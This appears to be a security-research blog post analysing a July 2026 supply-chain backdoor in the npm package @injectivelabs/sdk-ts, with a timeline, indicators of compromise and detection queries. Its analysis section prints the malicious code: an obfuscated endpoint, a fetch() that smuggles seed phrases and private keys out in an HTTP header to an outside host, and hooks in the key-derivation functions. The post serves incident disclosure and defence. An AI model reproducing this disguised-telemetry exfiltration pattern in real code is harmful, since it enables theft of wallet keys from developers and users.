emerging threats and vulnerabilities

Not-so-anonymous telemetry: The @injectivelabs/sdk-ts backdoor

July 9, 2026

Not-so-anonymous Telemetry: The @injectivelabs/sdk-ts Backdoor

Key points and observations

  • On July 8, 2026, version 1.20.21 of @injectivelabs/sdk-ts (an npm package with approximately 175,000 monthly downloads used by developers building on the Injective blockchain) was published with a hidden credential-stealing module disguised as SDK telemetry.
  • The malicious code was injected through a GitHub commit that appears to originate from a legitimate maintainer.
  • The malicious code hooked the two primary key-derivation entry points, PrivateKey.fromMnemonic() and PrivateKey.fromHex(), capturing raw Bitcoin Improvement Proposal 39 (BIP-39) mnemonic seed phrases and private keys at the moment a wallet is loaded.
  • Captured secrets are base64-encoded and smuggled inside the X-Request-Id HTTP header of requests sent to a remote endpoint.
  • The malicious version was live for approximately 49 minutes before the maintainer reverted the code in another commit and released the malware-free version 1.20.23.

What happened

Injective is a blockchain targeted at the finance industry, where users, institutions, and even AI agents can perform transactions. Developers interacting with this service can leverage the TypeScript SDK, injective-ts, published on npm under @injectivelabs/sdk-ts. This package has over 30,000 weekly downloads.

On July 8 at 8:24:40 p.m. UTC, commit 0121928 was pushed on GitHub with obfuscated code that exfiltrates users' private keys and seed phrases to a remote server.

Investigating suspicious GitHub commits

The malicious commit was pushed directly to the main branch, which appears to be abnormal behavior for the committing user:

The malicious commit 0121928, titled
The malicious commit 0121928, titled "chore: add key derivation telemetry for SDK usage analytics," pushed directly to the master branch (click to enlarge)

This commit contains the malicious source code in an obfuscated format.

A few minutes later, after continuous integration (CI) failed to release the project due to linting warnings from prettier, two additional formatting commits (fd105db and 5486f13) were pushed:

Sample follow-up malicious commit attempting to fix CI linting issues after having pushed malicious code
Sample follow-up malicious commit attempting to fix CI linting issues after having pushed malicious code (click to enlarge)

By analyzing the Git metadata of these three commits, we determined that these commits were performed from a machine configured in the UTC-4 timezone, which had never occurred before for the user:

Scatter plot of the committing user's UTC timezone offset over time, showing the malicious commits at UTC-4, a timezone never previously used by this user
Scatter plot of the committing user's UTC timezone offset over time, showing the malicious commits at UTC-4, a timezone never previously used by this user (click to enlarge)

Based on these elements, we assess these commits were performed by a malicious actor, while follow-up commits attempting to clean up the code were likely pushed by the legitimate developer.

Analyzing the malicious payload

In the malicious commit, one new file packages/sdk-ts/src/core/accounts/PrivateKey.ts is introduced which contains code that looks legitimate as a telemetry collection file:

/**
 * Key derivation telemetry — collects anonymized usage metrics for SDK optimization.
 *
 * Tracks which key derivation methods are used (hex vs mnemonic) and derives
 * timing patterns to help the SDK team identify performance bottlenecks and
 * understand adoption of different key formats across the ecosystem.
 *
 * All metrics are fire-and-forget and never block or affect key derivation.
 *
 * @category Telemetry
 */

The docblock claims that this is key derivation methods and timing, while analyzing the obfuscated code shows sensitive data is exfiltrated instead.

The code itself obfuscates the endpoint where the data is exfiltrated:

const _e = [
  116, 101, 115, 116, 110, 101, 116, 46, 97, 114, 99, 104, 105, 118, 97, 108, 46,
  99, 104, 97, 105, 110, 46, 103, 114, 112, 99, 45, 119, 101, 98, 46, 105, 110, 106,
  101, 99, 116, 105, 118, 101, 46, 110, 101, 116, 119, 111, 114, 107,
]
const _d = () => _e.map((x) => String.fromCharCode(x)).join('')

const _ep = 'https://' + _d() + '/'

Which after deobfuscation is testnet.archival.chain.grpc-web.injective[.]network.

Instead of the payload containing usage stats, it contains your private key material.
Analyzing the rest of the code shows that trackKeyDerivation(method, value) is doing more than the docstring documents. The docstring claims that this function Records the derivation method type and timing for usage analytics, while in fact value is pushed into the queue to be later sent over the network to the exfiltration domain:

_q.push(`${method}:${value}:${Date.now()}`)

The sending part is also partially obfuscated, and the payload is exfiltrated through the X-Request-Id header:

function _send(d: string): void {
  try {
    if (typeof fetch !== 'undefined') {
      fetch(_ep, {
        method: 'POST',
        headers: { 'Content-Type': 'application/grpc-web+proto', 'X-Request-Id': d },
        ...(typeof window !== 'undefined' ? { keepalive: true } : {}),
      }).catch(() => {})
      return
    }
  } catch {}

The commit includes two hooks in the primary key-derivation functions fromMnemonic and fromHex of PrivateKey that are executed when wallets are loaded, effectively triggering the exfiltration by calling the malicious trackKeyDerivation function:

  1. packages/sdk-ts/src/core/accounts/PrivateKey.ts
static fromMnemonic(
    words: string,
    path: string = DEFAULT_DERIVATION_PATH,
  ): PrivateKey {
    trackKeyDerivation('fm', words) // <-- SEED PHRASE SENT TO EXFIL DOMAIN
    const hdNodeWallet = HDNodeWallet.fromPhrase(words, undefined, path)

words here is the full mnemonic seed phrase - the 12/24-word phrase that gives complete, permanent control over every key and address derivable from it.

Diff of PrivateKey.ts showing the trackKeyDerivation('fm', words) hook added inside fromMnemonic(), which sends the full mnemonic seed phrase to the exfiltration domain
Diff of PrivateKey.ts showing the trackKeyDerivation('fm', words) hook added inside fromMnemonic(), which sends the full mnemonic seed phrase to the exfiltration domain (click to enlarge)
  1. packages/sdk-ts/src/core/accounts/PrivateKey.ts
static fromHex(privateKey: string | Uint8Array): PrivateKey {
    trackKeyDerivation(
      'fh',
      typeof privateKey === 'string' ? privateKey : 'bytes',
    ) // <-- RAW PRIVATE KEY SENT TO EXFIL DOMAIN
    const isString = typeof privateKey === 'string'

In this spot it exfiltrates the actual private key, but only if the privateKey is passed in as a string.

Diff of PrivateKey.ts showing the trackKeyDerivation('fh', privateKey) hook added inside fromHex(), which sends the raw private key to the exfiltration domain when passed as a string
Diff of PrivateKey.ts showing the trackKeyDerivation('fh', privateKey) hook added inside fromHex(), which sends the raw private key to the exfiltration domain when passed as a string (click to enlarge)

Remote exfiltration endpoint

The GitHub issue that first reported the compromise identified the exfiltration destination as hexhole.injective[.]network. We independently reverse-engineered the module and determined that the domain constructed at runtime does not match that reported value.

The actual destination is testnet.archival.chain.grpc-web.injective[.]network, a domain built to look like a legitimate Injective testnet archival node reachable over gRPC-Web.

At time of writing, testing the endpoint with a sample payload seems to indicate that the remote endpoint used for exfiltration is still alive and accepting requests.

Testing the exfiltration endpoint testnet.archival.chain.grpc-web.injective.network with a sample base64-encoded payload in the X-Request-Id header shows the endpoint is still alive and accepting requests
Testing the exfiltration endpoint testnet.archival.chain.grpc-web.injective.network with a sample base64-encoded payload in the X-Request-Id header shows the endpoint is still alive and accepting requests (click to enlarge)

How the maintainer and community responded

The compromise was first surfaced publicly in GitHub issue #697 on the injective-ts repository, where a security researcher laid out the exfiltration mechanism and named the (at the time) reported command and control (C2) domain. The same developer that pushed the malicious code replied indicating that moments ago the malicious version was flagged as compromised on npm, and closed the issue.

Datadog also privately reached out to the company to make them aware of the situation.

How Datadog can help

Datadog Code Security can identify hosts, containers, and build environments where the compromised version was installed. Use the following query in the Library Inventory to scope affected systems:

library_name:(@injectivelabs/sdk-ts) library_version:(1.20.21)

Hunt for follow-on activity by analyzing exfiltration traffic across logs using Datadog Log Management:

@dns.question.name:testnet.archival.chain.grpc-web.injective.network OR @network.destination.domain:testnet.archival.chain.grpc-web.injective.network OR @http.url:*testnet.archival.chain.grpc-web.injective.network*

Timeline

Time (UTC) Event
July 8, 8:24:40 p.m. Malicious commit pushed on GitHub (0121928)
July 8, 8:48:14 p.m. Second commit pushed with formatting changes to the malicious code (fd105db)
July 8, 8:54:02 p.m. Third commit pushed with further formatting changes to the malicious code (5486f13)
July 8, 8:56:33 p.m. Release commit pushed on GitHub in order to initiate the release of version 1.20.21 (c826399)
July 8, 8:59:28 p.m. Version 1.20.21 of @injectivelabs/sdk-ts released on npm
July 8, 9:16:32 p.m. Commit 7c4b1a0 reverts the malicious changes, and rolls back the version from 1.20.21 to 1.20.20
July 8, 9:20:30 p.m. Commit 42a5a83 attempts to perform a new release of version 1.20.21, which fails
July 8, 9:41:24 p.m. Commit 4c37b4a attempts to manually bump the version to 1.20.22, ignoring that the release pipeline already takes care of it
July 8, 9:44:53 p.m. Commit bf2f323 performs a new release, releasing version 1.20.23 with no apparent malicious code
July 8, 9:48:03 p.m. Version 1.20.23 published with no malicious code
July 8, 10:07:59 p.m. A community member opens issue #697 to report the compromised package
July 8, 10:19:00 p.m. The affected maintainer acknowledges the issue

Indicators of compromise

Affected package:

Type Name Affected versions
npm package @injectivelabs/sdk-ts 1.20.21

Command and control server:

https://testnet.archival.chain.grpc-web.injective[.]network

Did you find this article helpful?

Subscribe to the Datadog Security Digest

Get the latest insights from the cloud security community and Security Labs posts, delivered to your inbox monthly. No spam.

Related Content